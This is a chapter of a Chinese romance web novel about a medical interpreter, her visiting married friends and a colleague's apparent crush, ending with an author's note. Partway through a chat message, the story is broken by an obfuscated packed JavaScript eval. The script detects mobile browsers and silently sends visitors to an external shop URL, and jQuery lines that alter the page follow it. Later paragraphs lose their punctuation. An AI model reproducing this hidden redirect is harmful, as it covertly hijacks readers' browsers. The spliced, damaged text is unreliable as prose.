二月份的海城,冬意还没褪尽，但风敛起了几分刺骨的凛冽。


    晚上七点，墨色早早垂落,沉沉地铺满整片天空，而安仁医院最大的会议厅依旧亮着暖黄的灯,照着臺下满满当当的人,这些身影裏，有国内三甲医院的医生,也有金发碧眼的外籍医生，还有不少安仁医院这样的私立医疗机构代表，以及药企代表。


    臺上,一位神经科外籍教授正在用流利的英文,条理清晰地分享着自己的诊疗思路。


    臺下听众大半戴着同传耳机,清晰温润的女声将专业的英文表述,精准地转化为易懂的中文：“术前脑电图监测显示,患者癫痫病竈定位明确,集中在左侧……”


    不足三平米的同传箱裏，商楹正微微侧着头，耳机紧紧贴在她的耳廓上。


    她的指尖轻搭在话筒按键上，目光落在面前摊开的术语表上，教授的英文发言从耳机裏流进来，她的唇瓣张张合合,中文译语便稳稳传输出去。


    语速不快不慢,刚好能跟上对方的节奏。


    灯光落在她的脸上,映出她眉眼间的专注。


    一直到会议结束,会场隐约有掌声传来，她才摘下耳机,摁了摁有些发胀的太阳xue。


    身旁的搭檔陈姜也跟着松了口气，轻快地道：“下班咯！终于下班咯！”


    她抬手扶了扶眼镜，看向坐在一侧的商楹，迟疑两下，问：“不过商楹，你有没有觉得这个教授的口音有点特别？”


    “有一点。”


    “还得感谢你提前准备的术语表格，否则我估计翻译不到那么准确。”


    商楹闻言，唇边漾开一抹浅浅的笑意：“不客气。”


    她利落地收拾着自己的文件：“我只是这两天多花了点时间看他的演讲视频、发表的论文，还托我们公司的译审一起帮忙标注了下他的说话习惯和高频术语。”


    “OK！学习！”


    话音落，商楹已经穿上自己的大衣，她拎起椅背上的包，转身朝陈姜道：“我先走了，陈姜，下次见。”


    在医学翻译领域，同传箱裏的搭檔分属不同公司是行业常态。


    商楹现在就职于“医桥翻译”公司，而陈姜则是在另一家医学翻译机构，她们两人都是主攻神经科医学翻译的译员，之前已经合作过三次，而今天这场耗时六小时的专题会议也跟神经科有关。


    “等等，我和你一起。”陈姜


    也拿起自己的包，跟了上去。


    安仁是一家私立医院，院内的装修风格高级精致。


    她们从会议厅出来，脚步声在空旷的走廊回荡，她们一边走一边浅聊着，前期的话题都绕着会议的细节。


    快到医院大门时，陈姜伸了伸懒腰，她看着商楹干净精致却自带疏离感的侧脸，又找着话题，主动问：“商楹，你一会儿怎么回去？还是地铁吗？”她们前三次都是一起前往地铁站的。


    商楹脸色柔和地扬扬唇：“朋友来接。”


    “行，那我自己坐地铁回去了。”陈姜又打了个哈欠，眼底的倦意遮住她一闪而过的失落，“还好明后天就是周末，可以好好躺一躺，商楹，周末愉快。”


    “周末愉快，你到家了给我发个消息吧。”哪怕海城的治安很好，但商楹已经养成了这样的习惯，下意识向这位比自己小两岁的女生道。


    那点失落瞬间消失，陈姜笑弯了眼：“好！那你到家了也给我发个吧。”


    商楹微微颔首，不再多聊，她迈开步伐，朝着停车场的方向走去，黑色大衣的下摆被晚风轻轻撩起，垂散的长发也随风晃动，在昏黄路灯下，漾开一层朦胧光晕。


    陈姜望着她清隽的背影被其它车辆挡住，转身离开的第一时间掏出手机给朋友发语音：“可恶啊！又被那个直女撩到了怎么办！啊啊啊！”


    ……


    商楹说的朋友是指路遥和许山晴。


    去年年末，她们在西城举行一场简约温馨的婚礼，商楹收到请柬也特地前往，一晃眼两个月过去了，她们才终于腾出空来开启蜜月旅行，第一站就是商楹在的海城。


    这会儿，租来代步的电车裏正放着轻松的曲调，但许山晴作为摄影师有点职业病，还拿着相机给副驾的路遥拍照：“遥遥，下巴再抬高一点，眼神再放肆一点，露出那种在床上想做死我的表情……呃……阿楹，你来了。”她看向路遥身后，神色有些尬住。


    商楹拉开车门的手僵在半空，她清了清嗓，故意问：“要不我再吹会儿风？”


    路遥立刻转过脑袋，她扒着座椅探出半截身体，笑吟吟地看着朋友：“阿楹！好久不见！”


    “好久不见，遥遥，小许。”商楹把包往裏一放，弯腰坐进后座。


    今天的翻译工作耗去她不少精力，她的眉宇间也凝着几分倦意，可面前的两位朋友又让她心生愉悦：“走吧，我们现在去吃饭，


    我已经跟那家店的老板约好位置了。”


    “好嘞。”


    在导航裏输入目的地，黑色轿车缓缓驶离停车场。


    海城是享誉国际的大都市，霓虹闪烁间，尽是繁华璀璨的盛景。


    路遥的脑袋懒懒支在车窗上，目光追随着窗外流动的灯火，不由得感慨一句：“突然间觉得时间过好快啊，阿楹，你在海城都待两年了，而且还成为了一名专业的医学翻译，天知道我们英专生学普通翻译都要累得半死……”她说着卡了下，赶紧改口，“累得够呛，你现在还半路挑战成功了我们这个专业最高难度的领域。”


    当初商楹离开柳城还没联系她的那段时间裏，她也设想过朋友未来的工作，她猜过商楹或许会继续当编辑，想过商楹会继续深耕翻译领域，但唯独没料到商楹会扎进医学翻译的赛道，可听见商楹亲口说出自己的目标时，她也并不意外。


    医学翻译的意义远超单纯的语言转换，它是连接全球医学知识、保障医疗水平、推动行业发展的关键桥梁。（1）


    换个说法那就是——这份工作可以帮助到更多的人。


    她们都清楚商楹会有这样的想法，是因为不在人世的商璇。


    所以不论前方有多么困苦艰难，她都咬着牙坚持着学下去，先是在南城待了三年，一边打理着商秋月新开的餐厅，一边挤时间学习、考证，等到家裏餐厅步入正轨，她才放心地来了海城，很顺利地收到了医桥的offer后，一直待到现在。


    “嗯。”商楹也望着窗外的夜景，眸光微动，“时间好快，下周一是情人节，也是你们的五周年纪念日。”


    她又笑着问：“你们到时候有什么安排吗？”


    回答的是许山晴：“准备去游乐园，但估计很多情侣都跟我们一个想法，工作日可能也人山人海的。”


    对此，商楹也只能无奈一笑：“不可避免。”


    “这两天你还有什么工作吗？阿楹。”路遥这才想起来问，“要是有的话你忙你的，不用在意我们。”


    “只有星期天下午有个公益活动要参加。”


    路遥咧起嘴，兴高采烈：“好耶！那我们可以一起玩一天半！我们多拍点照片、视频！”


    聊着聊着，就到达商楹订好的餐厅。


    转来海城的这两年，她已经适应了这裏较快的生活步调，她也在努力做到答应妹妹的“平安健康幸福快乐”。


    有好友


    相伴，这顿饭吃得格外轻松惬意，还托人给她们三拍了合照，直到夜色渐深，临近十点半，她们才回到商楹的住处。


    医桥虽然是个只有四五十人规模的中型医学翻译公司，门槛却高得很，给出的福利待遇也十分优厚，除了常规薪资之外，公司每月还会为入职不满三年的职员划拨三千元的租房津贴。


    商楹自己再添了三千，租了离医桥比较近的两室一厅，一共八十多平，和当初在嘉阳家园的出租屋差不多大。


    这样一来通勤很方便，坐地铁二十分钟就能到公司，而家人朋友来了以后有地方睡觉，不需要去酒店。


    洗过手，商楹想起来跟陈姜约定的事情。


    她点开微信，这才延迟一个半小时回复对方的消息：【不好意思，我一直没看手机，刚到家。】


    陈姜秒回：【没关系！】


    陈姜理解：【跟朋友待在一起玩开心了不看手机很正常。】


    商楹：【嗯。】


    她刚要切出聊天界面，陈姜又在问她：【商楹，我能不能请教你一个问题？】


    【可以。】


    【就是我看你朋友圈之前分享过一些公


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179789|187284||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    益活动，其实我也一直想做公益来着，之前还给网上一些小女孩捐过钱、卫生巾，但线下的公益活动几乎没怎么参与过，能不能麻烦你带带我？】


    只有一间浴室，许山晴先一步进去洗澡了。


    路遥从行李箱裏取出柳城的一些特产，她路过商楹身边时扬了扬手裏的袋子：“阿楹，这些东西我先放冰箱啦，有一家是我觉得特别好吃的卤味，特地抽了真空，明天拆开尝尝。”


    “好。”


    等到路遥从冰箱折返回来，便见商楹在沙发上坐着看手机消息。


    她挨着商楹坐下，不禁问：“这么晚了还有工作消息吗？”


    “不是，是下午的工作搭子问我公益的事情。”商楹看向身侧的朋友，把手机屏幕递给朋友看，“还在思考怎么回复。”


    “男的女的？”


    “女生，比我小两岁。”


    “那岂不是跟我一年的。”


    商楹忍俊不禁，眉眼温柔：“可不是吗？遥遥妹妹。”


    “天吶，阿楹，你知不知道你现在特别姐姐啊？就是姬圈最受欢迎的那款姐姐。”商楹平时上班的时候穿着衬衣西裤，她本就长着一张吸睛惹眼的脸，五年沉淀下来，气质比以往添了几分沉稳干练，也愈发内敛从容。


    路遥


    说完这话再看商楹和陈姜的聊天记录出于直觉顿感微妙怎么看这位陈姜都对商楹有别的心思绝对不是想跟着商楹做公益这么简单。


    先说翻了商楹的朋友圈表示会注意到商楹的动态再说自己给小女孩捐钱、卫生巾来拉商楹好感最后直奔主题顺理成章地想让商楹带带自己。


    实际上想做公益的话也可以找个公益组织报名就好了。


    “不知道。”商楹失笑“我又不在圈裏混。”


    她的指尖在屏幕上点了点还是把话题给扯了回去：“好了我拒绝她了让她去找公益组织。”


    路遥定定地看着她：“怎么拒绝了？”


    “不太熟。”她还是更喜欢、习惯在这些事情上独来独往。


    应完这句商楹起身她的大衣已经脱下了身上穿着一件白衬衣她抬腕随手拢了拢头发：“我先回房间复盘一下晚上的要点。”


    “去忙吧。”路遥知道她在这行分外辛苦摆摆手。


    因为不是医学出身想要当好医学翻译这五年来她很少有松懈的时刻。


    商楹的主卧不大这裏没有多余的装饰布置也简单衣柜、床、沙发、椅子、书桌……


    但最右边的视野开阔是一整面落地窗能看见海城的日出。


    这会儿夜色铺展在城市上空晚风带着些许凉意穿过纱窗吹动书桌上的书页吹动商楹的发丝。


    商楹先去把窗户关上再拉开椅子坐下她摁开臺灯看着桌上相框裏的商璇露出一个浅浅的笑容再拿过包裏的文件认真复盘起来。


    晚风见她专注着工作不再理会自己漫无目的地四处游荡也轻轻拂过另一个女人的头发。


    楼照影静立在窗前她看着海城的夜景抬手将被风吹乱的头发顺势别到耳后。


    窗面映出程季言无语的轮廓：“这位楼老师、楼大画家你的病都没好你确定要在这裏吹风？”她一边吐槽一边走近毫不客气地补刀“说吹风都抬举你了简直是来抽风的。”


    楼照影：“……”


    前两天她发了场高烧


    五年了她们的相处模式依旧仍然似敌似友但不再是以前那样剑拔**张。


    “你免费住我这几百平大平层偷着乐好吗？”程季言轻嗤。


    但话是这么说她还是为楼照影关上窗不再放任这人继续下去这才慢悠悠问起来：“你这趟过来是忙工作吗？”


    “嗯这边有个画展邀请我过来。”


    她的脑子裏捋了捋近期的工作行程：“后天下午还有个公益活动要参加。”


    作者有话说:


    很好今晚只有四千


    为了以后不让大家觉得我迟到更新时间改成晚上十点啦


    如果早点写完我就早点更新如果没有那就默认十点更新！


    理解大家想看见更新的心情但是有些人催更语气就好像我迟到跟犯法了一样我也是不接受的


    本卷为“蝴蝶”卷！


    （1）处参考网络